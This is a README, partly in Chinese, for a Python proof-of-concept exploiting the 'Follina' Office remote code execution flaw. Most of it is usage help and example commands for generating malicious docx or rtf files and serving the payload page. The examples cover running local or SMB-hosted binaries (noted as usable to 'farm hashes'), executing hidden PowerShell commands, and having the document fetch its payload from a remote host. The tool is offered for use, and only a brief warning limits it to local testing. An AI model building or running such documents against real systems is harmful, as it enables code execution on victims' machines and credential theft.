快速 POC,用于在本地测试环境中复现 “Follina” Office RCE 漏洞。运行脚本会在当前工作目录生成一个 clickme.docx(或 clickme.rtf)载荷文件,并启动一个承载该载荷文件(www/exploit.html)的 Web 服务器。载荷和 Web 服务器参数均可配置(参见帮助和示例)。
⚠ 切勿在生产环境中使用,否则你会被视为傻瓜
$ python .\follina.py -h
usage: follina.py [-h] -m {command,binary} [-b BINARY] [-c COMMAND] -t {rtf,docx} [-u URL] [-H HOST] [-P PORT]
options:
-h, --help show this help message and exit
Required Arguments:
-m {command,binary}, --mode {command,binary}
Execution mode, can be "binary" to load a (remote) binary, or "command" to run an encoded PS command
Binary Execution Arguments:
-b BINARY, --binary BINARY
The full path of the binary to run. Can be local or remote from an SMB share
Command Execution Arguments:
-c COMMAND, --command COMMAND
The encoded command to execute in "command" mode
Optional Arguments:
-t {rtf,docx}, --type {rtf,docx}
The type of payload to use, can be "docx" or "rtf"
-u URL, --url URL The hostname or IP address where the generated document should retrieve your payload, defaults to "localhost". Disables web server if custom URL scheme or path are specified
-H HOST, --host HOST The interface for the web server to listen on, defaults to all interfaces (0.0.0.0)
-P PORT, --port PORT The port to run the HTTP server on, defaults to 80
# Execute a local binary
python .\follina.py -t docx -m binary -b \windows\system32\calc.exe
# On linux you may have to escape backslashes
python .\follina.py -t rtf -m binary -b \\windows\\system32\\calc.exe
# Execute a binary from a file share (can be used to farm hashes 👀)
python .\follina.py -t docx -m binary -b \\localhost\c$\windows\system32\calc.exe
# Execute an arbitrary powershell command
python .\follina.py -t rtf -m command -c "Start-Process c:\windows\system32\cmd.exe -WindowStyle hidden -ArgumentList '/c echo owned > c:\users\public\owned.txt'"
# Run the web server on the default interface (all interfaces, 0.0.0.0), but tell the malicious document to retrieve it at http://1.2.3.4/exploit.html
python .\follina.py -t docx -m binary -b \windows\system32\calc.exe -u 1.2.3.4
# Only run the webserver on localhost, on port 8080 instead of 80
python .\follina.py -t rtf -m binary -b \windows\system32\calc.exe -H 127.0.0.1 -P 8080
感谢 Kevin Beaumont 对该问题的原始分析,感谢 @KevTheHermit 分享其 POC,以及 John Hammond 在分析载荷需求方面所做的进一步工作。另外感谢 @mkolsek 提供支持 Office 2019 的模板,以及 @theluemmel 与我分享其版本的载荷。